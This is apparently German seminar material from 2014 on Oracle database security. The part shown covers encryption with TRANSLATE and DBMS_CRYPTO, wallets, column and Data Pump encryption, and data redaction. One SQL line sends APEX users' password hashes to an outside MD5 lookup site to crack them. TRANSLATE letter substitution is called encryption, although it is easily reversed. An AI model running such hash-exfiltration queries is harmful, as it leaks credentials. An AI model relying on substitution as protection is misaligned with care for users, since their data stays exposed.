DOAG Berliner Expertenseminar Sicherheit in der Oracle Datenbank 22. / 23. Oktober 2014 © 2014 by MuniQSoft GmbH Impressum Autor: Marco Patzwahl Firma MuniQSoft GmbH Grünwalder Weg 13a 82008 Unterhaching Tel.: 089 / 67 90 90 40 Fax: 089 / 67 90 90 50 Internet: www.muniqsoft.de Email: [email protected] Wir haben diesen Kursordner mit großer Sorgfalt zusammengestellt. Trotzdem können Fehler nicht komplett ausgeschlossen werden. Herausgeber und Autoren können deshalb für fehlerhafte Angaben und deren Folgen keine Haftung übernehmen. Dieses Werk (in gedruckter und digitaler Form) ist urheberrechtlich geschützt. Die Vervielfältigung, Entnahme von Grafiken, Tabellen oder Texten oder Vortrag von Teilen dieses Dokuments ist nur mit Zustimmung des Autors zulässig. Die Wiedergabe von Gebrauchsnamen, Handelsnamen oder Warenzeichen in diesem Werk berechtigt auch ohne besondere Kennzeichnung nicht zur Annahme, dass solche Namen im Sinne des Warenzeichen-, Gebrauchsmuster und Markenschutz-Gesetzgebung als frei zu betrachten wären und daher von jedermann benutzt werden dürften. Security I 0-2 Inhaltsverzeichnis Inhaltsverzeichnis für ES_Security (c) 1998-2014 by MuniQSoft GmbH Impressum Kapitel 1 Verschlüsselung 2. Einleitung 3. Der Translate Befehl 4. Verbesserung der Low-Level Verschlüsselung 5. DBMS_CRYPTO 6. DBMS_CRYPTO Verschlüsselung 7. Verschlüsselung von Spalten 8. Wallet konfigurieren 9. Wallet 10. Spalten verschlüsseln 13. Data Pump Verschlüsselung (EE) 14. Verschlüsselung von Oracle Passwörtern 15. Redaction (Oracle 12c EE+ASO) 16. Redaction Einschränkungen 17. Neue System Rechte für Redaction 18. Weitere Packageaufrufe vom DBMS_REDACT 19. Tipps & Tricks zu den Parametern 22. Beispiele zum Expression Parameter 23. Vordefinierte Shortcuts 24. Beispiele für die Parameter Inhaltsverzeichnis 1 25. Redaction Verwaltungsviews 26. DBMS_REDACT Beispiel 28. Probleme mit DBMS_REDACT 29. Security Bug in 12.1.0.1 Kapitel 2 Rechte & Rollen 2. Einleitung 4. Rechte bei Rollen 5. Rechte mit ANY 6. Gefährliche Rechte 9. Privilegien-Eskalation 13. ADMIN OPTION 14. Public Rechte Inhaltsverzeichnis 1 Inhaltsverzeichnis 15. PUBLIC Rechte entziehen 16. Gefährliche Packages 22. Ports sperren/freigeben (ab 11g) 27. Fine Grain Access ab 12c 28. DBMS_NETWORK_ACL_ADMIN ab 12c 29. Beispiel zu APPEND_HOST_ACE (12c) 30. Parameter zu APPEND_HOST_ACE (12c) 31. Beispiel zu REMOVE_HOST_ACE (12c) 32. ACL Views 33. 12c: DBMS_PRIVILEGE_CAPTURE (EE +DV Opt.) 34. Ablauf der Rechteerfassung 35. CREATE_CAPTURE-Prozedur 36. Beispiele 38. App-Überwachung in fremder Session 39. Start / Ende der Erfassung 40. Übersicht der Ausgabe 41. Beispielausgabe 42. Neue Rollen in 12c 43. Neue Rollen in 12c 44. Neue Rechte in 12.1.0.1 45. Neue Rechte in 12.1.0.2 46. Inherit Privileges (Oracle 12c) 47. Inherit Privileges 48. Beispiel zu inherit Privileges 50. Neuerung bei Rechten in 12.1.0.2 Inhaltsverzeichnis 2 Kapitel 3 Benutzer und Passwörter 2. Benutzerpasswörter 3. Optimierung von Passwörtern 4. Benutzerpasswörter 5. Passwort ändern auf dem Client 6. Abschalten des alten PWD Algorithmus 8. Neue Passwortverschlüsselung in 12.1.0.2 9. Passwort-Hackmethoden 12. Benutzeridentifizierung 14. Benutzer Inhaltsverzeichnis 2 Inhaltsverzeichnis 15. Benutzerpasswörter (APEX) 16. Benutzerpasswörter 23. Administrationsbenutzer 24. Übersicht der Rechte pro Benutzer 25. Passwörter in Skripten 26. Default-Passwörter 27. Schutz durch Profile 31. Schutz durch Passwortfunktion 32. Die Passwortfunktion 34. Passwortfunktion als Spion ? 35. Neue Passwort-Prüf-Funktion in 12c 36. Anmeldung mit verschlüsselten Passwort 39. Neuer / alter Password Hash 41. Abschalten des alten PWD Algorithmus 43. Neue Passwortverschlüsselung in 12.1.0.2 Kapitel 4 Netzwerksicherheit 2. Einleitung 3. Tipps & Tricks 4. Netzwerkverschlüsselung 6. SQLNET.ORA Parameter 7. Integritätsprüfung 8. Einstellung in der SQLNET.ORA 9. Client/Server Einstellkombinationen 10. Funktionstest der Verschlüsselung Inhaltsverzeichnis 3 Kapitel 5 Trigger 2. Überwachung mittels Trigger 3. Beispiel für einen Trigger: 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis 3 Inhaltsverzeichnis Kapitel 6 Rootkits 2. Definition 3. Rootkit unter Unix 4. Wer greift mich an? 5. Was macht der Angreifer? 6. Wie komme ich in die Oracle Datenbank? 7. Wie komme ich in die Datenbank 11. Ich bin drin ... 12. Namensauflösung bei Objekten 13. Manipulation der Verwaltungsviews 15. Verwaltungsviews (V$...) 18. Abweichungen bei Benutzertabellen 19. Abweichung von Public Synonymen 20. Abweichung bei Privilegien 21. SELECT führt DDL aus 22. Objekte als Oracle eigene ausgeben 23. Lösung 24. DDL Trigger 25. Wie kann man sich schützen? 26. View Definitionen mit Hash-Wert speichern 27. Rootkit Version 2 28. Rootkit Version 2 aufspüren 29. Honeypot 30. Oracle Würmer 31. Vorsichtsmaßnahmen Inhaltsverzeichnis 4 Kapitel 7 Forensik 2. Was ist Forensik? 3. Tools für die Forensik 4. Interessante Trace Files 5. Trace Views/Tables 6. Vorgehensweise 7. Befehle zur Überwachung 9. SYS.USER$ 10. Alte Passwörter 11. SYS.WRH$_ACTIVE_SESSION_HISTORY Inhaltsverzeichnis 4 Inhaltsverzeichnis 12. Welche Programme haben sich angemeldet? 13. Änderungen an wichtigen Tabellen 14. Weitere interessante Tabellen 15. Listener.log in External Table 16. Auswertungen der listener.log 17. Blöcke auslesen 18. Die SCN als Dokumentation des Zeitpunkts 19. Checkpoint Nummer wandeln 20. SCN Nummern in Blöcken 21. Interessante Auswertungen bzgl der SCN 22. Flashback Row History 23. Inhaltliche Änderungen feststellen Kapitel 8 Unified Auditing 2. Audit bis Version 11.2 3. Rückwärtskompatibilität 4. Empfehlungen 5. Unified Auditing 6. Unified Auditing alleinig aktivieren 7. Unified Auditing Speichermethoden 9. Wo wird das Audit gespeichert? 10. Unified Auditing: Rechte 11. Unified Autiting Syntax 12. Unified Auditing Syntax 13. Unified Auditing: WHEN Klausel Inhaltsverzeichnis 5 14. Beispiele zur WHEN Klausel 15. Audit aktivieren 16. Audit deaktivieren 17. Unified Auditing Beispiele 19. Unified Auditing Beispiele für Privilegien 20. Interessante Privilegien zum Audit 21. Unified Autiting Beispiele für Packages 22. Lohnenswerte Packages für die Überwachung 23. Beispiel: Packageüberwachung 24. Audit auf Objekte 25. Unified Autiting Bsp für Rollenbenutzung Inhaltsverzeichnis 5 Inhaltsverzeichnis 26. Unified Autiting Beispiele 27. SQL*Loader mittels AUDIT überwachen 28. Vordefinierte Policies 29. Audits abändern 30. Beispiele zu Audits abändern 31. Audit auswerten 32. Unified Audit Tabellenspalten (Auswahl) 33. AUDIT_TYPE 34. Audit löschen 35. Audit Einträge zeitgesteuert löschen 36. Audit Einträge manuell löschen 37. Audit Einträge löschen in Read Only DB 38. Mandatory Auditing 39. Audit Views Kapitel 9 Security 2. Neue Benutzer 3. Neue Parameter für Passwort-Datei 4. System Benutzer in der Passwortdatei 5. Übersicht der Rechte pro Benutzer 6. SYSDBA Ersatz 7. Anmeldung als SYSBACKUP 8. Erweitertes CREATE USER Kommando 9. Benutzer anlegen in CDB 10. Fehlerhafter Login / Login Zeit Inhaltsverzeichnis 6 11. Oracle Maintained Rollen/Benutzer Kapitel 10 Checkliste 2. Einleitung 3. Passwörter ändern/Benutzer sperren 4. Rechteüberprüfung/Netzwerk 5. INIT.ORA Parameter Prüfung 6. Prüfung auf neusten Patch 7. Prüfung auf neuen PWD Algorithmus 8. Welche Policies sind im Einsatz 9. Welche Directories sind angelegt Inhaltsverzeichnis 6 Inhaltsverzeichnis 10. Welche DB Links existieren ? 11. Welche Objekte sind verschlüsselt? 12. Wird die Passwort Prüffunktion verwendet ? 13. Prüffunktionen 14. Welche Objekte wurden kürzlich neu erzeugt? 15. 16 Jahre MuniQSoft GmbH Inhaltsverzeichnis 7 Kapitel 1 Verschlüsselung Security I 1 - 1 Einleitung Verschlüsselung dient dem Verbergen von Informationen (z. B. Gehaltsdaten) Jedoch kann der Einsatz der Verschlüsselung erst das Interesse der Hacker wecken Besser wäre das „Verstecken" der Daten (=> SAP ist hier Spezialist mit 70.000 Tabellen ☺ ) MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 2 Verschlüsselte Daten stellen eine zusätzliche Hürde da, die von einem Hacker erst mal überwunden werden muss. Auch ist ein „zufälliges“ Lesen der Gehaltsdaten aus der gesamten Vorstandsetage eher unwahrscheinlich. Durch die Verschlüsselung werden die Daten auch in den Oracle Blöcken und damit auch in den Tablespace-Dateien verschlüsselt eingetragen. Auch ein Export wird die Daten verschlüsselt aus der Datenbank holen und sicher in der Exportdatei lagern. Jedoch ist es illusorisch zu glauben, ein 128 oder 192 Bit Schlüssel sei nicht zu knacken. Es ist nur eine Frage der Zeit bzw. Rechnerleistung, die jedoch derzeit noch nicht in ausreichendem Maße zur Verfügung steht. Stichwörter: Daten verstecken/verschlüsseln Security I 1 - 2 Der Translate Befehl Dient der Low-Level-Verschlüsselung Syntax: TRANSLATE(<wert>,'<buchstabenliste>', '<verschlüsselungsliste>') Beispiel: SELECT TRANSLATE(ename,'ABCDEFGHIJKLMNOPQRSTUVWXYZ012 345abcdefghijklmnopqrstuvwxyz6789', 'fghijklmnopqrstuvwxyz6789ABCDEFGHIJKLMNOPQRST UVWXYZ012345abcde') FROM scott.emp; Zum Entschlüsseln müssen nur die Schlüssel vertauscht werden MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 3 Der TRANSLATE Befehl dient der Low-Level-Verschlüsselung von Daten innerhalb von Tabellen oder Views. Syntax: TRANSLATE(<wert>,'<buchstabenliste>','<verschlüsselungsliste>') Beispiel: SELECT TRANSLATE (ename, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcdefghijklmnopqrstuvwxyz6789', 'fghijklmnopqrstuvwxyz6789ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcde') FROM scott.emp; Zum Entschlüsseln müssen nur die Schlüssel vertauscht werden Die Verschlüsselung kann bereits beim Insert in eine Tabelle verwendet werden Beispiel: INSERT INTO emp (empno,ename,sal,deptno) VALUES (8000, TRANSLATE ('WESSON', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcdefghijklmnopqrstuvwxyz6789', 'fghijklmnopqrstuvwxyz6789ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcde'),1000,10); Sollten die Daten bereits in der Tabelle stehen, wird statt dessen ein Update verwendet: UPDATE emp set ename= TRANSLATE (ename, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcdefghijklmnopqrstuvwxyz6789', 'fghijklmnopqrstuvwxyz6789ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcde'); Stichwörter: TRANSLATE , Low-Level Verschlüsselung Security I 1 - 3 Verbesserung der Low-Level Verschlüsselung Drehen Sie das Wort vor dem Verschlüsseln um Marco =>Ocram Geheim =>Mieheg Teilen Sie das Wort in zwei Hälften und vertauschen Sie diese Marco => Mar co => Comar Geheim => Geh eim =>Eimgeh Danach wird wieder der Translate-Befehl benutzt MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 4 Beispiel zum Vertauschen der beiden Hälften: SELECT SUBSTR(ename,FLOOR(LENGTH(ename)/2)+1), SUBSTR(ename,1,FLOOR(LENGTH(ename)/2)) FROM scott.emp; Stichwörter: Low-Level Verschlüsselung, Verbesserung Security I 1 - 4 DBMS_CRYPTO Ersetzt/ergänzt das bisherige Package dbms_obfuscation Strings müssen nicht mehr ein Vielfaches von 8 Byte sein, jedoch müssen sie zuerst in RAW konvertiert werden Verfügt über eine größere Anzahl an Verschlüsselungsroutinen z.B.: dbms_crypto.des_cbc_pkcs5 (Schlüssellänge 8 Byte), dbms_crypto.des3_cbc_pkcs5 (24 Byte) dbms_crypto.encrypt_rc4 dbms_crypto.encrypt_aes128 MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 5 Vollständige Liste der Algorithmen: ENCRYPT_DES (Keylänge 56 Bit). ENCRYPT_3DES_2KEY (Effektive Keylänge 112 Bit). ENCRYPT_3DES ENCRYPT_AES128 (verwendet 128 Bit Key-Länge) ENCRYPT_AES192 (verwendet 192 Bit Key-Länge) ENCRYPT_AES256 (verwendet 256 Bit Key-Länge) ENCRYPT_RC4 Stichwörter: DBMS_CRYPTO Security I 1 - 5 DBMS_CRYPTO Verschlüsselung Verschlüsselung: p_encrypted_raw := dbms_crypto.encrypt( src => p_text_raw, typ => p_crypto_typ, key => p_key); Entschlüsselung p_decrypted_raw := dbms_crypto.decrypt( src => p_encrypted_raw, typ => p_crypto_typ, key => p_key); MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 6 Stichwörter: DBMS_CRYPTO, Verschlüsselung Security I 1 - 6 Verschlüsselung von Spalten Ab Version 10.2 können die Spaltenwerte direkt verschlüsselt werden Sollte dann der Server bzw. der Export-Dump gestohlen werden, ist er ohne das Master-Passwort wertlos Zuerst muss ein Wallet mit Passwort erzeugt werden MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 7 Stichwörter: Verschlüsselung von Spalten Security I 1 - 7 Wallet konfigurieren Tragen Sie in die Datei SQLNET.ORA einen gültigen Wallet-Pfad ein WALLET_LOCATION = (SOURCE = (METHOD = FILE) (METHOD_DATA = (DIRECTORY = c:\oracle\admin\orcl\wallet ) ) ) MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 8 Stichwörter: Wallet konfigurieren Security I 1 - 8 Wallet Wallet erzeugen ALTER SYSTEM SET ENCRYPTION KEY ["certificate_id" ] IDENTIFIED BY "pwd" ; Wallet öffnen ALTER SYSTEM SET ENCRYPTION WALLET OPEN IDENTIFIED BY "password"; Wallet schließen bis 11.2 ALTER SYSTEM SET ENCRYPTION WALLET CLOSE; Wallet schließen ab 11.2 ALTER SYSTEM SET ENCRYPTION WALLET CLOSE IDENTIFIED BY "password"; MuniQSoft GmbH Hinweis: • • Kapitel 1 - Verschlüsselung Security I 1 - 9 Bei unseren Tests konnten wir unter Win XP Oracle 10.2.0.3 das Wallet nicht ins Network Admin Verzeichnis legen. Es war nur möglich unter <Oracle BASE>/<sid> einen Ordner wallet anzulegen. Dort wurde dann die Datei erzeugt. Stichwörter: Wallet erzeugen/öffnen/schließen Security I 1 - 9 Spalten verschlüsseln CREATE TABLE scott.kunden ( acc_no NUMBER NOT NULL, last_name VARCHAR2(30) not null, SSN varchar2(9) ENCRYPT USING 'AES128', card_id number ENCRYPT USING 'AES128' ); Nachträglich einschalten: ALTER TABLE kunden MODIFY (card_id ENCRYPT); Nachträglich ausschalten: ALTER TABLE kunden MODIFY (card_id DECRYPT); MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 10 Erlaubte Encryption-Methoden: • 3DES168 • AES128 • AES192 • AES256 Die Option SALT ist default ! Stichwörter: Spalten verschlüsseln, ENCRYPT USING Security I 1 - 10 Spalten verschlüsseln Ein Zugriff auf die verschlüsselten Spalten ist nur bei geöffnetem Wallet möglich! SQL> ALTER SYSTEM SET ENCRYPTION WALLET OPEN IDENTIFIED BY muniqsoft; SQL> insert into kunden values (1,'Test','ABCDEFG',1000); SQL> select * from kunden; ACC_NO LAST_NAME SSN ---------- ------------------ --------1 Test ABCDEFG CARD_ID -------1000 SQL> ALTER SYSTEM SET ENCRYPTION WALLET CLOSE; SQL> select * from kunden; select * from kunden * FEHLER in Zeile 1: ORA-28365: Wallet ist nicht geöffnet MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 11 Stichwörter: Spalten verschlüsseln, ALTER SYSTEM SETENCRYPTION WALLETOPEN IDENTIFIED BY Security I 1 - 11 Spalten verschlüsseln Informationen zu verschlüsselten Spalten liegen unter USER_/ALL_/DBA_ENCRYPTED_COLUMNS OWNER TABLE_NAME COLUMN_NAME ENCRYPTION_ALG SALT ----------------- ----------- ---------------- --SYSTEM KUNDEN SSN AES 128 bits key YES SYSTEM KUNDEN CARD_ID AES 128 bits key YES Leider kann auch dort ein Hacker nachlesen, welche Spalten interessant sind, und welcher Algorithmus verwendet wird MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 12 Stichwörter: Spalten verschlüsseln, Informationen Security I 1 - 12 Data Pump Verschlüsselung (EE) Wenn Daten des verschlüsselten Tablespace exportiert werden sollen, muss daran gedacht werden beim Export einen Parameter zu verwenden! expdp scott/tiger tables= geheim_tab dumpfile= sec.dmp directory= data_pump_dir encryption= data_only encryption_algorithm= aes128 encryption_password= geheim enycryption_mode=[dual|password|transparent] MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 13 Parameter Beispiel Beschreibung encryption ALL ALL = Metadaten + Nutzdaten DATA_ONLY= Nutzdaten ENCRYPTED_COLUMNS_ONLY= Nur verschlüsselte Spalten METADATA_ONLY= Nur Metadaten NONE= Keine Verschlüsselung encryption_algorithm AES256 Folgende Algorithmen stehen zur Verfügung: AES128 | AES192 | AES256 encryption_password supergeheim Passwort für Export und Import ! Wird beim Export nur verwendet, wenn Parameter encryption_mode = DUAL oder PASSWORD gesetzt wurde encryption_mode TRANSPARENT TRANSPARENT= Wallet Passwort entscheidend PASSWORD= Passwort des Parameters encryption_password entscheidet DUAL= Wallet und Passwort des Parameters encryption_password wichtig Stichwörter: Verschlüsselung; Datapump, Datapump; Verschlüsselung Security I 1 - 13 Verschlüsselung von Oracle Passwörtern Oracle verwendet je nach Modul/User/Version verschiedene Algorithmen: Benutzerpasswörter: Version 5.x bis 10.2: DES von Upper(password) Version 11.1: SHA-1 von password APEX 1.6-3.0: MD5 http://md5.rednoize.com/ SELECT utl_http.request('http://md5.rednoize.com/?q='| | web_password_raw ||'&b=MD5-Search') from flows_030000.wwv_flow_fnd_user; MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 14 Stichwörter: Verschlüsselung, Oracle Passwörter Security I 1 - 14 Redaction (Oracle 12c EE+ASO) Redaction wird zum Verschleiern von sensiblen Daten verwendet (z.B. Kreditkartenspalten) Alle Besitzer der DBA-Rolle haben automatisch das Recht EXEMPT REDACTION POLICY und können damit jede existierende Redaction Regel umgehen und die Daten im Original sehen. Data Redaction Policies dürfen nicht auf SYS Objekte definiert werden. Für die Verwendung von Redaction ist die Enterprise Edition mit der Advanced Security Option notwendig. Hinweis: Diese Funktion wurde in 11.2.0.4 zurückportiert MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 15 Stichwörter: Redaction Security I 1 - 15 Redaction Einschränkungen Nur eine Redaction Policy pro Tabelle Primrärschlüsselspalten dürfen keine Redaction besitzen Keine CREATE TABLE AS SELECT auf Tabellen mit Redact Spalten CREATE TABLE t As SELECT * FROM redact_table; Export Datapump auf Redact Spalten derzeit auch nicht unterstützt (Stand 12.1.0.1 März 2014) MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 16 Security I 1 - 16 Neue System Rechte für Redaction Redaction Regeln umgehen: GRANT EXEMPT REDACTION POLICY TO <user>; Redaction Regeln für DML umgehen: GRANT EXEMPT DML REDACTION POLICY TO <user>; Redaction Regeln für DDL umgehen: GRANT EXEMPT DDL REDACTION POLICY TO <user>; Sinnvoll bei einem CREATE TABLE AS SELECT MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 17 Security I 1 - 17 Weitere Packageaufrufe vom DBMS_REDACT Policy abschalten DBMS_REDACT.DISABLE_POLICY ( object_schema IN VARCHAR2 := NULL, object_name IN VARCHAR2, policy_name IN VARCHAR2); Policy löschen DBMS_REDACT.DROP_POLICY ( object_schema IN VARCHAR2 := NULL, object_name IN VARCHAR2, policy_name IN VARCHAR2); Policy einschalten DBMS_REDACT.ENABLE_POLICY object_schema IN object_name IN policy_name IN MuniQSoft GmbH ( VARCHAR2 := NULL, VARCHAR2, VARCHAR2); Kapitel 1 - Verschlüsselung Security I 1 - 18 Weitere Aufrufe: DBMS_REDACT.ADD_POLICY ( object_schema object_name policy_name column_name function_type function_parameters expression enable regexp_pattern regexp_replace_string regexp_position regexp_occurrence regexp_match_parameter policy_description column_description IN IN IN IN IN IN IN IN IN IN IN IN IN IN IN VARCHAR2, VARCHAR2, VARCHAR2, VARCHAR2 := NULL, BINARY_INTEGER := DBMS_REDACT.FULL, VARCHAR2 := NULL, VARCHAR2, BOOLEAN := TRUE, VARCHAR2 := NULL, VARCHAR2 := NULL, BINARY_INTEGER := 1, BINARY_INTEGER := 0, VARCHAR2 := NULL, VARCHAR2 := NULL, VARCHAR2 := NULL); DBMS_REDACT.ALTER_POLICY ( object_schema object_name policy_name action IN IN IN IN VARCHAR2 := NULL, VARCHAR2, VARCHAR2, BINARY_INTEGER := DBMS_REDACT.ADD_COLUMN, VARCHAR2 := NULL, BINARY_INTEGER := DBMS_REDACT.FULL, VARCHAR2 := NULL, VARCHAR2, VARCHAR2 := NULL, VARCHAR2 := NULL, BINARY_INTEGER := 1, BINARY_INTEGER := 0, VARCHAR2 := NULL, VARCHAR2 := NULL, VARCHAR2 := NULL); column_name function_type function_parameters expression regexp_pattern regexp_replace_string regexp_position regexp_occurrence regexp_match_parameter policy_description column_description IN IN IN IN IN IN IN IN IN IN IN Stichwörter: DBMS_REDACT Security I 1 - 18 Tipps & Tricks zu den Parametern Parameter Einstellung Beschreibung FUNCTION_ TYPE 0 NONE Keine Verschleierung (dbms_redact.none = 0) 1 FULL Feste Werte (dbms_redact.full = 1) 2 PARTIAL Teile der Spalte verschleiern 4 RANDOM Jede Abfrage wird mit zufälligen Werten beantwortet 5 REGEXP Verschleierung basierend auf regulären Ausdrücken EXPRESSION 1=1 Maskierung immer ausführen Weitere Prüfungen z.B. mit SYS_CONTEXT( userenv,'…') möglich. Ausführung der Maskierung nur, wenn Rückgabewert TRUE MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 19 Stichwörter: DBMS_REDACT; Parameter Security I 1 - 19 Tipps & Tricks zu den Parametern (f) Parameter Einstellung Beschreibung FUNCTION_ PARAMETERS Input Format V = maskiert, F = ignoriert Output Format V = maskiert, Restliche zum Formatieren Mask Char Maskierendes Zeichen wie '*', oder 'X' Startposition Ab dieser Position wird maskiert Endposition Endposition der Maskierung Mask Char Zeichen zwischen 0 - 9 zum Maskieren Startposition Ab dieser Position wird maskiert Endposition Endposition der Maskierung (Datentyp CHAR) Datentyp Number MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 20 Stichwörter: DBMS_REDACT; Parameter Security I 1 - 20 Tipps & Tricks zu den Parametern (ff) Parameter Einstellung Beschreibung REGEXP_ MATCH_ PARAMETER i Groß - und Kleinschreibung wird nicht berücksichtigt c Groß - und Kleinschreibung wird berücksichtigt n Das Sonderzeichen "." kann auch für einen Zeilenumbruch stehen m Die Zeichenkette wird als mehrzeilige Eingabe betrachtet. ^ und $ können dann für jede Zeile angewendet werden und nicht nur für Anfang und Ende. MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 21 Stichwörter: DBMS_REDACT; Parameter Security I 1 - 21 Beispiele zum Expression Parameter Wenn Sie die Expression Klausel ändern, kann die Regel nur für bestimmte Benutzer ausgeführt werden. So wird nur der Benutzer SCOTT die veränderten Spalteninhalte sehen, alle anderen bekommen die Spalten im Original. EXPRESSION =>q'! sys_context('USERENV','SESSION_USER') ='AQ' !' MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 22 Beispiele für sys_context CLIENT_INFO Gibt 64 Byte über die Usersession zurück, die eine Applikation im Package DBMS_APPLICATION_INFO abgelegt hat. CURRENT_USER Aktueller Benutzer der Session CURRENT_USERID Aktuelle Benutzer-ID der Session CURRENT_SCHEMA Aktuell eingestelltes Schema. Dies kann z. B. durch ALTER SESSION SET CURRENT_SCHEMA=<schema>; eingeschaltet werden CURRENT_SCHEMAID Id-Nummer des aktuell eingestellten Schemas DB_DOMAIN Domain Name der Datenbank die im init.ora Parameter DB_DOMAIN eingetragen wurde DB_NAME Datenbank Name der im init.ora Parameter DB_NAME eingetragen wurde BG_JOB_ID Job Nummer der aktuellen Session, wenn Sie durch einen Oracle Hintergrundprozess erzeugt wurde. NULL wenn dies nicht der Fall ist FG_JOB_ID Job Nummer der aktuellen Session, wenn Sie durch einen Client Prozess erzeugt wurde. NULL wenn dies nicht der Fall ist HOST Rechnername des Clients INSTANCE Instanznummer der aktuellen Instanz (meist 1) IP_ADDRESS IP Adresse des Clients ISDBA TRUE wenn der aktuelle Benutzer die SYSDBA Rolle besitzt. FALSE falls nicht. Fehler in Doku: Hier steht die DBA Rolle ! LANGUAGE Sprache, Territorium und Zeichensatz der aktuellen Session in der Form: language_territory.characterset LANG Länderkürzel (für uns "D") NETWORK_PROTOCOL benutztes Netzwerkprotokoll NLS_TERRITORY Territorium der aktuellen Session NLS_CURRENCY Währung der aktuellen Session NLS_CALENDAR Kalender der aktuellen Session NLS_DATE_FORMAT Datumsformat der aktuellen Session NLS_SORT Sortierreihenfolge der aktuellen Session SESSION_USER Benutzer der aktuellen Session, wie er authentifiziert wurde SESSION_USERID Benutzer-ID der aktuellen Session, wie er authentifiziert wurde OS_USER Betriebsystemuser der die Verbindung zur DB aufgebaut hat SESSIONID Session ID für Auditing TERMINAL Terminal Name für aktuelle Session Stichwörter: Redaction Expression Security I 1 - 22 Vordefinierte Shortcuts Einige Prüfungen sind schon vordefiniert, jedoch machen in unseren Breitengraden nicht alle Sinn. (z.B. SozialversicherungsnummerFormat der USA) Sinnvolle Prüfungsvarianten (Auswahl) DBMS_REDACT.REDACT_ZIP_CODE (5 stellige Postleitzahl in VARCHAR2 Spalte wird durch XXXXX ersetzt) DBMS_REDACT.REDACT_NUM_ZIP_CODE (5 stellige Postleitzahl in NUMBER Spalte wird durch XXXXX ersetzt) DBMS_REDACT.REDACT_DATE_MILLENNIUM (Datum wird ersetzt durch 01-JAN-00) DBMS_REDACT.REDACT_DATE_EPOCH (Datum wird ersetzt durch 01JAN-70) DBMS_REDACT.REDACT_CCN16_F12 (ersetzt eine 16-stellige Kreditkartenummer in der Form 1234123412341234 durch XXXXXXXXXXXX1234) MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 23 Stichwörter: Shortcuts Security I 1 - 23 Beispiele für die Parameter FUNCTION_TYPE REGEXP_PATTERN REGEXP_REPLACE _STRING DBMS_REDACT. FULL Spaltenwert Ergebnis 123 0 DBMS_REDACT. REGEXP '(\d{4})-(\d{4})(\d{4})-(\d{4})' 'XXX-\4' '1234-12341234-6789' 'XXXX-6789' DBMS_REDACT. REGEXP '(\d{4})-(\d{4})(\d{4})-(\d{4})' '\1-0000-\21111' '1234-45671234-6789' '1234-00004567-1111' DBMS_REDACT. REDACT_DATE_ MILLENNIUM 16.06.2014 01.01.2000 DBMS_REDACT. REANDOM '1234-12341234-6789' *DZ*FLpA2Lb2NTx I:Tj DBMS_REDACT. PARTITAL function_parameters =>'9,1,5' 123456789 999996789 DBMS_REDACT. PARTITAL function_parameters =>'0,1,2' 1.23 0.03 MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 24 Spaltentyp Number function_type => DBMS_REDACT.PARTIAL function_parameters => '7,1,5', -- erste bis 5te Stelle mit 7 besetzen Ausgabe der Spalte 777774320 777774323 777774325 Beispiel 2 regexp_pattern => '(\d\d\d)(\d\d)(\d\d\d\d)', regexp_replace_string => 'XXXXX\3', Ausgabe der Spalte XXXXX1234 XXXXX5678 Security I 1 - 24 Redaction Verwaltungsviews REDACTION_POLICIES REDACTION_COLUMNS REDACTION_VALUES_FOR_TYPE_FULL MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 25 Stichwörter: Redaction Security I 1 - 25 DBMS_REDACT Beispiel CREATE TABLE scott.kredit_card( cust_name VARCHAR2(64), card_id VARCHAR2(64)); INSERT INTO scott.kredit_card VALUES ('Marco','1234-1234-1234-1234'); EXEC dbms_redact.add_policy(…) SELECT * FROM scott.kredit_card; CUST_NAME CARD_ID --------- -------------------Marco XXXXX-XXXX-XXXX-1234 MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 26 Stichwörter: DBMS_REDACT; Beispiel Security I 1 - 26 DBMS_REDACT Beispiel (f) BEGIN DBMS_REDACT.ADD_POLICY( object_schema => 'SCOTT', object_name => 'KREDIT_CARD', column_name => 'CARD_ID', policy_name => 'MASK_CARD_ID', expression => '1=1', function_type => DBMS_REDACT.REGEXP, regexp_pattern => '(\d\d\d\d)-(\d\d\d\d)-(\d\d\d\d)(\d\d\d\d)', regexp_replace_string => 'XXXXX-XXXX-XXXX-\4'); END; / Macht aus: 1234-1234-1234-1234 => XXXX-XXXX-XXXX-1234 MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 27 BEGIN DBMS_REDACT.ADD_POLICY( object_schema => 'SCOTT', object_name => 'KREDIT_CARD', column_name => 'CARD_ID', policy_name => 'MASK_CARD_ID', expression => '1=1', function_type => DBMS_REDACT.REGEXP, regexp_pattern => '([[:digit:]]{4})-([[:digit:]]{4})([[:digit:]]{4})-([[:digit:]]{4}) ', regexp_replace_string => 'XXXX-XXXX-\3', regexp_position => 1, regexp_occurrence => 0, regexp_match_parameter => 'in'); END; / 